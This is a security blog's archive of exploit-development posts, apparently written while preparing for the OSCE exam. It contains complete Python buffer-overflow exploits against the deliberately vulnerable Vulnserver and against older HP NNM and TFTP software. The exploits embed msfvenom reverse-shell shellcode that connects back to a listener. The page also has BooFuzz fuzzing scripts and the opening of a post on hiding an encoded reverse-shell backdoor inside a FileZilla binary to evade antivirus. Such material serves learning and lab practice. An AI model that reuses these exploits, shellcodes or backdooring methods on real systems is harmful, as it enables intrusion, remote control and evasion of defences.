# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 1

#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Access violation fix
# 62501084              - CALL EAX stored in vulnserver dll
crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D" + "E" * 5000

buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-01.py

And here is our shell!

In the next blog post I’m going to solve the same exercise but instead of jumping to EAX we are going to jump to the small buffer that is located in ESP. See you soon! πŸ™‚

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver TRUN – JMP EAX

Hello everyone, this post is the first of a series that I’m going to dedicate to Exploit Development.

Right now I just finished the OSCE certification labs and I’m preparing the exam. I think that is a good idea to do as many Vulnserver challenges as I can to improve my skills.

If you don’t know what is Vulnserver, you can read a quick introduction of what it is and how you can use it here:

In this post I will cover the TRUN function exploitation, but we are not going to follow the standard process. I’m going to explain all the process step by step, but we are going to do it in a hard way. These are the tricks that you will learn:

  • How to do a partial EIP overwrite (the initial JMP that we are going to use contains a null byte).
  • Access violation of an AND instruction, how to identify the problem and how to solve it.
  • When EIP and ESP are really close in memory location, our shellcode won’t work. How to detect that and fix it.

Let’s start the process. First things first, we attach the process to our favorite debugger:

Let’s fuzz this part of the program. To do it I’m going to use a Boofuzz python script. I explained in this blog post how to create this script step by step:

We start fuzzing it, and after some requests, we see that we managed to crash the program:

And we now that the request that crashed it was:

So we can replicate the crash with this python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

We launch the script and we see that we overwrite EIP with 4 A’s:

Now we need to identify which of the 5000 characters are the ones overwriting EIP.

To do that we need to generate a unique string. Kali has a tool named msf-pattern_create that is made for this purpose.

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_create -l 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A...k5Gk

We remove the 5000 A’s and we put this string instead.

The application crashes again, but this time we are overwritten EIP with other values:

Let’s use msf-pattern-offset to identify where are this values in our previous string:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_offset -l 5000 -q "386F4337"
[*] Exact match at offset 2003

Let’s modify our script, to verify that we didn’t make any mistake. Let’s overwrite EIP with 4 B’s.

crash = "A" * 2003 + "B" * 4 + "C" * 2903

And we got 4 B’s in EIP:

Another important thing that we can see, is that our C string it’s located in ESP. So if we overwrite EIP with a JMP ESP or CALL ESP instruction we should be able to jump to that memory section.

Other option is to jump to EAX, so to make it more interesting, let’s go that way. πŸ™‚

I’ve found 2 JMP EAX in 2 places, the first one is in the DLL of the program essfunc.dll and it doesn’t contain null bytes

#62501084   FFD0             CALL EAX

The second one is located in vulnserver.exe but it contains a null byte.

#00402D7B  \. FFE0           JMP EAX

I’m doing this as an exam preparation, so I choose the difficult way again!


Trick 1. Partial EIP overwrite

Let’s try a partial overwrite of EIP, so we erase the last byte of EIP, and the last part of our payload:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

We launch the script, we put a breakpoint in the JMP EAX, and we reach the breakpoint so it works:


Trick 2. Access violation issue

When we let our jump run, we are going to jump to EAX, but a few instructions later we are going to find the following problem:

The following instruction is causing an access violation, it may be related with the value of EDI that is zero.

017FF204   202F             AND BYTE PTR DS:[EDI],CH

The instruction that causes the crash is \x20\x2F that in ascii is: ” /”

We have control of it. Let’s try to modify it for: ” A/”

Now it’s crashing again, but in the next instruction. I’m going to do a small modification to see if the crashes stops:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

Finally with our partial EIP overwrite we reached the “\xCC” shellcode zone.


Now it’s the moment to generate a reverse shell shellcode.

I generate a standard msfvenom reverse shell with 00 as a null byte bad character:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.88 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xbf\xa9\xa1\x85\x71\xdb\xdb\xd9\x74\x24\xf4\x58\x29"
shellcode += "\xc9\xb1\x52\x31\x78\x12\x83\xe8\xfc\x03\xd1\xaf\x67"
shellcode += "\x84\xdd\x58\xe5\x67\x1d\x99\x8a\xee\xf8\xa8\x8a\x95"
shellcode += "\x89\x9b\x3a\xdd\xdf\x17\xb0\xb3\xcb\xac\xb4\x1b\xfc"
shellcode += "\x05\x72\x7a\x33\x95\x2f\xbe\x52\x15\x32\x93\xb4\x24"
shellcode += "\xfd\xe6\xb5\x61\xe0\x0b\xe7\x3a\x6e\xb9\x17\x4e\x3a"
shellcode += "\x02\x9c\x1c\xaa\x02\x41\xd4\xcd\x23\xd4\x6e\x94\xe3"
shellcode += "\xd7\xa3\xac\xad\xcf\xa0\x89\x64\x64\x12\x65\x77\xac"
shellcode += "\x6a\x86\xd4\x91\x42\x75\x24\xd6\x65\x66\x53\x2e\x96"
shellcode += "\x1b\x64\xf5\xe4\xc7\xe1\xed\x4f\x83\x52\xc9\x6e\x40"
shellcode += "\x04\x9a\x7d\x2d\x42\xc4\x61\xb0\x87\x7f\x9d\x39\x26"
shellcode += "\xaf\x17\x79\x0d\x6b\x73\xd9\x2c\x2a\xd9\x8c\x51\x2c"
shellcode += "\x82\x71\xf4\x27\x2f\x65\x85\x6a\x38\x4a\xa4\x94\xb8"
shellcode += "\xc4\xbf\xe7\x8a\x4b\x14\x6f\xa7\x04\xb2\x68\xc8\x3e"
shellcode += "\x02\xe6\x37\xc1\x73\x2f\xfc\x95\x23\x47\xd5\x95\xaf"
shellcode += "\x97\xda\x43\x7f\xc7\x74\x3c\xc0\xb7\x34\xec\xa8\xdd"
shellcode += "\xba\xd3\xc9\xde\x10\x7c\x63\x25\xf3\x43\xdc\x24\x5b"
shellcode += "\x2c\x1f\x26\x5a\x17\x96\xc0\x36\x77\xff\x5b\xaf\xee"
shellcode += "\x5a\x17\x4e\xee\x70\x52\x50\x64\x77\xa3\x1f\x8d\xf2"
shellcode += "\xb7\xc8\x7d\x49\xe5\x5f\x81\x67\x81\x3c\x10\xec\x51"
shellcode += "\x4a\x09\xbb\x06\x1b\xff\xb2\xc2\xb1\xa6\x6c\xf0\x4b"
shellcode += "\x3e\x56\xb0\x97\x83\x59\x39\x55\xbf\x7d\x29\xa3\x40"
shellcode += "\x3a\x1d\x7b\x17\x94\xcb\x3d\xc1\x56\xa5\x97\xbe\x30"
shellcode += "\x21\x61\x8d\x82\x37\x6e\xd8\x74\xd7\xdf\xb5\xc0\xe8"
shellcode += "\xd0\x51\xc5\x91\x0c\xc2\x2a\x48\x95\xf2\x60\xd0\xbc"
shellcode += "\x9a\x2c\x81\xfc\xc6\xce\x7c\xc2\xfe\x4c\x74\xbb\x04"
shellcode += "\x4c\xfd\xbe\x41\xca\xee\xb2\xda\xbf\x10\x60\xda\x95"

Trick 3. EIP/ESP too close

After adding the shellcode to the script I thought that I was going to receive my reverse shell but wasn’t working. I made this screenshot of the registers before the first line of our reverse shell is executed:

In the image above you can see that ESP value is 017EF9D4 and EIP is 017EF219. That means that there is 7BB of difference between them. EIP can be overwritten and the exploit may not work.

To fix this I want to do a move of another register to ESP. I choose ECX because it’s in a middle memory address and also it’s fair away enough of EIP.

So before our shellcode I do:

MOV ESP, ECX
“\x8B\xE1”

I add this small fix to the final python script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver TRUN - new method
import socket
import os
import sys

# Reverse TCP shell to port 443
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xdb\xc5\xbf\xfb\xf5\x89\x96\xd9\x74\x24\xf4\x5b\x2b"
shellcode += "\xc9\xb1\x52\x31\x7b\x17\x83\xc3\x04\x03\x80\xe6\x6b"
shellcode += "\x63\x8a\xe1\xee\x8c\x72\xf2\x8e\x05\x97\xc3\x8e\x72"
shellcode += "\xdc\x74\x3f\xf0\xb0\x78\xb4\x54\x20\x0a\xb8\x70\x47"
shellcode += "\xbb\x77\xa7\x66\x3c\x2b\x9b\xe9\xbe\x36\xc8\xc9\xff"
shellcode += "\xf8\x1d\x08\xc7\xe5\xec\x58\x90\x62\x42\x4c\x95\x3f"
shellcode += "\x5f\xe7\xe5\xae\xe7\x14\xbd\xd1\xc6\x8b\xb5\x8b\xc8"
shellcode += "\x2a\x19\xa0\x40\x34\x7e\x8d\x1b\xcf\xb4\x79\x9a\x19"
shellcode += "\x85\x82\x31\x64\x29\x71\x4b\xa1\x8e\x6a\x3e\xdb\xec"
shellcode += "\x17\x39\x18\x8e\xc3\xcc\xba\x28\x87\x77\x66\xc8\x44"
shellcode += "\xe1\xed\xc6\x21\x65\xa9\xca\xb4\xaa\xc2\xf7\x3d\x4d"
shellcode += "\x04\x7e\x05\x6a\x80\xda\xdd\x13\x91\x86\xb0\x2c\xc1"
shellcode += "\x68\x6c\x89\x8a\x85\x79\xa0\xd1\xc1\x4e\x89\xe9\x11"
shellcode += "\xd9\x9a\x9a\x23\x46\x31\x34\x08\x0f\x9f\xc3\x6f\x3a"
shellcode += "\x67\x5b\x8e\xc5\x98\x72\x55\x91\xc8\xec\x7c\x9a\x82"
shellcode += "\xec\x81\x4f\x04\xbc\x2d\x20\xe5\x6c\x8e\x90\x8d\x66"
shellcode += "\x01\xce\xae\x89\xcb\x67\x44\x70\x9c\x47\x31\x7b\x04"
shellcode += "\x20\x40\x7b\xb5\x0b\xcd\x9d\xdf\x7b\x98\x36\x48\xe5"
shellcode += "\x81\xcc\xe9\xea\x1f\xa9\x2a\x60\xac\x4e\xe4\x81\xd9"
shellcode += "\x5c\x91\x61\x94\x3e\x34\x7d\x02\x56\xda\xec\xc9\xa6"
shellcode += "\x95\x0c\x46\xf1\xf2\xe3\x9f\x97\xee\x5a\x36\x85\xf2"
shellcode += "\x3b\x71\x0d\x29\xf8\x7c\x8c\xbc\x44\x5b\x9e\x78\x44"
shellcode += "\xe7\xca\xd4\x13\xb1\xa4\x92\xcd\x73\x1e\x4d\xa1\xdd"
shellcode += "\xf6\x08\x89\xdd\x80\x14\xc4\xab\x6c\xa4\xb1\xed\x93"
shellcode += "\x09\x56\xfa\xec\x77\xc6\x05\x27\x3c\xf6\x4f\x65\x15"
shellcode += "\x9f\x09\xfc\x27\xc2\xa9\x2b\x6b\xfb\x29\xd9\x14\xf8"
shellcode += "\x32\xa8\x11\x44\xf5\x41\x68\xd5\x90\x65\xdf\xd6\xb0"


# Notes:
# TRUN A/.:A/   - 2 A's added   - Avoid Access Violation Issue
# 8BE1          - MOV ESP,ECX   - Fix EIP/ESP issue
# 00402D7B      - JMP EAX       - EIP overwrite

crash = "\x8B\xE1" + "\x90" * 48 + shellcode + "\x90" * 1600 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN.py

Now our exploit it’s completed, we run it and we receive our shell πŸ™‚

Posted in Exploiting | Tagged , , , , , , , , , | 3 Comments

Fuzzing – Finding bugs using BooFuzz (3/3)

For this last blog post of the Fuzzing series I chose to fuzz Vulnserver.

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

When you run the Vulnserver binaty it opens a service in the port 9999. And when you connect to it using netcat and you type HELP you are going to see the following menu:

Vulnserver uses a custom protocol, so first we need to understand what we need to send. We want to connect to the port 9999 and send the following string:

TRUN AAAA...A

Before starting the fuzzing, we should attach the process to our favorite debugger, to monitor the application behavior:

This is an example of a request and a server response

TRUN A
TRUN COMPLETE

So to fuzz this function it’s really easy:

def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()

But the interesting thing that we are going to use here, is to control when the application crashes. When it crashes we should stop fuzzing and see what request caused it. I read this originally from this post, so thank you mate πŸ™‚

It consists in setup a callback. After each fuzzing request the script will call our callback function, and this function is going to check if the application crashed or not.

session.connect(s_get("Request"), callback=get_banner)

So we look for the Vulnserver banner service, if we can’t retrieve it, it means that the application has crashed:

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)

This is the full script:

#!/usr/bin/env python
# Author: Xavi Bel
# Date: 22/06/2019
# Purpose: 
#	Fuzzing Vulnserver
#	TRUN

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-TRUN.py

We start fuzzing it, and after some requests, we see that our crash control method worked properly:

And we now that this is the request that crashed it:

With this control method, we have all the information that we need to start writing a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

At this point we are ready to work on that script and develop and exploit that make us control the execution flow of the program.

And that’s all for the Fuzzing series. The following posts of the blog are going to be write-ups of Vulnserver. See you soon! πŸ™‚

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Fuzzing – Finding bugs using BooFuzz (2/3)

As a continuation of these Fuzzing series, we are going to fuzz a second application. This time we are going to look for vulnerabilities in HP NNM application that uses HTTP protocol.

Specifically the ovas process is vulnerable to a Buffer Overflow vulnerability.

The request that we are going to fuzz is the following one:

GET /topology/index.html HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Now that we now what we want to send, let’s start the service to prepare the environment. As always we attach the debugger to the application and we press the play button to accept Morpheus red pill.

So we want to maintain the main structure and fuzz the different variables. To do that I created the following Boofuzz template:

#!/usr/bin/env python
#!/usr/bin/env python
# Author: Xavi Bel
# Webpage: xavibel.com
# Date: 23/06/2019
# BooFuzz HTTP fuzzing template

from boofuzz import *
import time

def main():
    session = Session(
	sleep_time=10,
        target=Target(
            connection=SocketConnection("192.168.1.99", 7510, proto='tcp')
        ),
    )

    s_initialize(name="Request")
    #with s_block("Request-Line"):
    s_static("GET /topology/index.html HTTP/1.1\r\n")

    # Host
    s_static("Host", name='host-string')
    s_delim(":")
    s_delim(" ")
    s_string("192.168.1.99",  name='host-ip-address')
    s_delim("\r\n")

    # Other headers
    s_static("User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\n")
    s_static("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n")
    s_static("Accept-Language: en-US,en;q=0.5\r\n")
    s_static("Accept-Encoding: gzip, deflate\r\n")
    s_static("Connection: keep-alive\r\n")

    s_static("\r\n", "Request-CRLF")

    session.connect(s_get("Request"))

    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-HTTP.py

If we want to fuzz the Host header, for example. We need to set as static what we don’t want to fuzz, and we set as string what we want to be fuzzed.

	s_static("Host", name='host-string')
	s_delim(":")
	s_delim(" ")
	s_string("192.168.1.99",  name='host-ip-address')
	s_delim("\r\n")

If the application crashes there, Boofuzz will say that it crashed while fuzzing “host-ip-address”. We should prepare the same for all the headers that we want to fuzz.

We run the fuzzer and the request number 52 crashes the application.

In that request we are sending different characters, now that we now in what variable is the BOF. Let’s exploit it using a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 4000

buffer="GET /topology/homeBaseView HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

print "[*] Sending evil HTTP request to NNMz, ph33r"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 7510))
expl.send(buffer)
expl.close()

We reproduce the same crash, and in the debugger we can see this:

We overwrited SEH:

And if we pass exception to program we see that we are overwriting EIP:

And that’s all for this topic, in the last post of the series we are going to fuzz Vulnserver and we are going to use a function to detect when the application crashes.

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Fuzzing – Finding bugs using BooFuzz (1/3)

Hello everyone, in this blog post I’m going to explain you a couple of basics concepts about fuzzing. Also I’m going to share with you some interesting resources, and finally I’m going to show how to create different Boofuzz templates to identify vulnerabilities in applications.

Fuzzing is the process of automatic testing achieved by sending different inputs to a program and verifying that it can handle them without crashing or having an unexpected behavior.

In the graph below you can see an example of the flow of a fuzzing process.

In the following post, you can find more information about fuzzing, specifically for a tool named AFL, but also a lot of interesting concepts:

http://9livesdata.com/fuzzing-how-to-find-bugs-automagically-using-afl/

Reading the following Defcon paper of Jacob West:

https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-west.pdf

He summarizes the fuzzing process in these steps:

  • Identify sources of input of a program
  • Permute or generate pseudorandom input
  • Use an oracle to monitor for failures
  • Record the input and state that generate faults

The last blog post that I recommend you is more focused in the Boofuzz tool:

Now that I shared with you some interesting information sources, let’s start using Boofuzz. I’m going to Fuzz 3 different applications that use different protocols.

  • TFTP application that uses FTP protocol
  • HP NNM application that uses HTTP protocol
  • Custom application named Vulnserver that uses a custom protocol

In this blog post I’m not going to cover the full process of exploit development. I’m just going to focus in the detection of the bug using BooFuzz.


Fuzzing TFP server

For this example I’m going to use a FTP server named TFTP Single Port version 1.4. This server version is vulnerable to a Buffer Overflow vulnerability.

We now, that the vulnerability is triggered when the FTP receives a Write request that is similar to this:

"\x00\x02AAAAAA....A\x00netascii\x00"

The 02 is the request to write, if we didn’t know this, we should just fuzz using different values until we identify that this is the vulnerable one, but for this example I prefer to go strict forward.

The first thing is to attach a debugger to the FTP application, then we press play to let the program run.

Now we need to prepare our Boofuzz python script.

First we need to import the necessary libraries:

from boofuzz import *
import time

And this is going to me the main structure of the script:

def main():

[BooFuzz script goes here]

if __name__ == "__main__":
        main()

Then we can prepare the fuzzing part of the code. The first thing is to declare the session and setup the connection:

session = Session(
                sleep_time=10,
                target=Target(
                       connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )

And after that, the fuzzing part:

        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

As you can see above, there are two declarations:

  • static: Non fuzzeable
  • string: Fuzzable

And then we start the fuzzing:

        session.connect(s_get('write'))
        session.fuzz()

This is the final script:

#!/usr/bin/env python
# Autor: Xavi Bel
# Website: xavibel.com
# Date: 23/06/2019
# BooFuzz FTP fuzzing template
from boofuzz import *
import time

def main():
        session = Session(
                sleep_time=10,
                target=Target(
                        connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )


        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

        session.connect(s_get('write'))
        session.fuzz()

if __name__ == "__main__":
        main()

https://github.com/socket8088/Fuzzing/blob/master/BF-FTP.py

Let’s run Boofuzz and let’s see what happens:

python BF-FTP.py

And we see that the request number 2 crashes the program:

So 5000 A’s caused the crash.

If we look again to our Windows VM, we can see the crash in the debugger:

If we look at the Exception Handler we see this:

And if we pass exception to program we see that we are overwritting EIP:

To replicate the crash using a python program, we should use a code similar to this:

#!/usr/bin/python
import socket
import sys
host = '192.168.1.99'
port = 69
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

filename = "A" * 5000
mode = "netascii"
muha = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(muha, (host, port))

And that’s all for the first example of fuzzing with Boofuzz, in the next post I’m going to explain how to fuzz a web application, but for make it more interesting, we are not going to know the injection point.

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Encoded Backdoor inside a Windows Binary – AV Evasion

The purpose of this post is to show you how you can encode a common shellcode using a custom encoder and embed it inside a Windows file. The main reason to do that is to try to avoid AV detection.

I’m going to generate a backdoor for FileZilla FTP with msfpayload. I’m going to skip how to manipulate the Windows binary, also how to allocate space and find the appropriate Code Cave because I’ve already explained it before in the last blog post.

Following that post you have to be able to modify one section of FileZilla to generate the Code Cave, JMP to it and save the registers and flags status. So you should be at this point.

This time is going to be encoded with a personal encoder that I wrote a couple of months ago. You can find it here:

https://www.exploit-db.com/shellcodes/46800

I’m going to modify it a little bit and to compile it in Windows so I can learn new things.

So, we can start generating our msfpayload with this beautiful one line command:

root@kali:~# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 EXITFUNC=none C | awk -F '"' '{print$2}' | sed ':a;N;$!ba;s/\n/ /g' | sed 's/\ //g'
\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\xc0\xa8\x01\x58\x66\x68\x01\xbb\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0

That is our plain text shellcode. I’m going to encode it with my custom encoder. If you want to try it you can download it from here:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment4

For this example I’ve modified the XOR keys a little bit. Here is the final code:

#!/usr/bin/python
# Autor: Xavi Beltran
# Date: 02/06/2019

